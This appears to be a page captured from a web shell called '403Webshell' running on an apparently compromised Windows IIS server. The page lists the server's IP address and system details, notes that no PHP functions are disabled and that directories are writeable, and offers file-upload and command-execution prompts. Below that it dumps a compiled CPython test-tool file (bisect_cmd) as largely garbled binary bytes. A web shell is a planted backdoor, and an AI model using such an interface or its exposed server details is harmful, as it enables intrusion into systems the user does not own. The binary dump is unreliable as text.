403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/bisect_cmd.cpython-315.opt-1.pyc
R
>lqjc��Qs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
QsQsQs
QsQsQ
QksQsQs\Q	6Xc
\2P!P!)a�
Command line tool to bisect failing CPython tests.

Find the test_os test method which alters the environment:

    ./python -m test.bisect_cmd --fail-env-changed test_os

Find a reference leak in "test_os", write the list of failing tests into the
"bisect" file:

    ./python -m test.bisect_cmd -o bisect -R 3:3 test_os

Load an existing list of tests from a file using -i option:

    ./python -m test --list-cases -m FileTests test_os > tests
    ./python -m test.bisect_cmd -i tests test_os
c	��[UQ29^tt^2oSFDo[V2Q5J	UO2PPP2P!)%fhP!9h)�w)�file)�open�print�flush)�filename�tests�fp�names&&  �$C:\Python315\\Lib\test\bisect_cmd.py�write_testsrs;��	
�h��	�	���D��$� ��
���
�
�	�	�	�s�'A�A	�A	c�j�U%fP![Q[U28QU802[V2U!)NzWriting z tests into )r�lenr)rrs&&r�write_outputr&s&����	��E�
�H�
=�>��� ��O�c�&�QOU2!)� )�join)�argss&r�format_shell_argsr.s���8�8�D�>�rc���[O,oUO[O22UO[O
22UOQ2U!)�-X)r�faulthandler)�sys�
executable�extend�
subprocess�_args_from_interpreter_flags�"_optim_args_from_interpreter_flags)�cmds r�
python_cmdr 2sJ���>�>�
�C��J�J�z�6�6�8�9��J�J�z�<�<�>�?��J�J�%�&��Jrc��[2oUO,QN2UOUO2[OU[O
P	Q5oUOoU%c5[U2o[QU8QU802[OU2UOO2oU!)�-m)�stdout�universal_newlineszFailed to list tests: z failed with exit code )r"�testz--list-cases)
r r�	test_argsr�run�PIPE�
returncoderrr�exitr#�
splitlines)rr�proc�exitcoders&    r�
list_casesr.:s���
�,�C��J�J�-�.��J�J�t�~�~���>�>�#�!+���-1�3�D����H����$��
��h� �	!�������K�K�"�"�$�E��Lrc��[O2o[V12[2oUO	QQQQU,2UO	UO
2[
Q[U2*2[OO2[OO2[OU2oUO[O O#U2%c[O$U2!![O O#S2%c[O$S2hh9h)z-ur"r%z--matchfilez+ %s)�tempfile�mktemprr rr&rrrr#r�stderrrr'r)�os�path�exists�unlink)rr�
huntrleaks�tmprr,s&&&   r�	run_testsr9Ks���
�/�/�
�C���C���l���
�
�D�$��
�s�;�<��
�
�4�>�>�"�
�f�(��-�-�.��
�
�����
�
�����~�~�c�"�����
�7�7�>�>�#����I�I�c�N���2�7�7�>�>�#����I�I�c�N��s�B>D�%E�9Ec��[O2oUOQQQQ5UOQQQQ5UOQQ[]Q	Q
5UOQQ[]dQ
Q
5UO	2vqV!mU!)z-iz--inputzUTest names produced by --list-tests written into a file. If not set, run --list-tests)�helpz-oz--outputzResult of the bisectionz-nz--max-testsz:Maximum number of tests to stop the bisection (default: 1))�type�defaultr;z-Nz
--max-iterz5Maximum number of bisection iterations (default: 100))�argparse�ArgumentParser�add_argument�int�parse_known_argsr&)�parserrr&s   r�
parse_argsrD_s���
�
$�
$�
&�F�
����i�I��J�����j�6��8�
����m�#�q�,��-�����l��c�.��/�
�-�-�/�O�D��N��Krc�r�[2oQFD.oVO7fJ[QUQ02[2J0	UO%cG[	UO29^tt^2oSTt,tFDp3O2MJ	ooPPP2L[
U2o[Q[W2*2[Q[UO2*2[QUO8QUO8Q02[UOU2o[2[O2o]o[U2UO6�CcVpO6:c�[U2o[U]*]2o[ O"VH2o	[QUQ	UOQ
[U	2Q[U202[2[%V	2o
[QU8Q[U2802[Q
U
2U
%c%[Q2S	o[UOU2oL[Q2[2U]*
oCJ[Q[U2*2SFDo[QU*2J	[2U%c[QU*2[(O*[O2U*
2o[U2UO6:c+[QU8Q[,O.UQ5802P![QU8Q[,O.UQ5802[0O2]2P!ttoh)%fhCK�9h[&c$[2[Q2[2CKUh9h)�-wz	WARNING: z% option should not be used to bisect!zStart bisection with %s testszTest arguments: %sz!Bisection will stop when getting z1 or less tests (-n/--max-tests option), or after z" iterations (-N/--max-iter option)z[+] Iteration �/z: run z tests/zran r*z*Tests failed: continuing with this subtestz;Tests succeeded: skipping this subtest, trying a new subsetzBisection interrupted!zTests (%s):z* %szOutput written into %szBisection completed in z iterations and )�secondszBisection failed after )rFz--rerunz
--verbose2)rDr&r�inputr�stripr.rr�	max_tests�max_iterr�output�time�	monotonic�max�random�sampler9�KeyboardInterrupt�math�ceil�datetime�	timedeltarr*)
r�optr	�linerrM�
start_time�	iteration�ntest�subtestsr-r%�dts
             r�mainr_ss����<�D�.���.�.� ��I�c�U�"G�H�I��G�/�
�z�z�z�
�$�*�*�
�
��.0�1�b�d�Z�Z�\�b�E�1��
��4� ��	�
)�C��J�
6�7�	�
�!2�4�>�>�!B�
B�C�	��^�^�T�]�]�,�-��$�+�+�u�
-�F�	�G����!�J��I���%�j�4�>�>�)�i�=�=�.H���J�E����
�A�&�E��}�}�U�2�H��N�9�+�Q�t�}�}�o�>��X���w�s�5�z�l�<�
=��G� ��0�H��u�c�%�j�9�:��&�(�#���B�C� ��%�d�k�k�5�9���S�T��G���N�I�
�-�#�e�*�
$�%���
�f�t�m���	�G�
�
�&��/�0�	
���4�>�>�#�j�0�	1�B�
�5�z�T�^�^�#�
��H�.�.�r�:�<�	=�	��H�.�.�r�:�<�	=�������s2��
�
��L��
��
�&�'�
���sP�0M4�4M/�M4�N�N�/B+N�AN�/M4�4N	�=N	�	N6� N6�5N6�__main__)N)�__doc__r>rV�os.pathr3rTrQrrr0rNrrrr r.r9rDr_�__name__�rr�<module>rese���$����
��
��������"�(�(B�J�z���F�r

Youez - 2016 - github.com/yon3zu
LinuXploit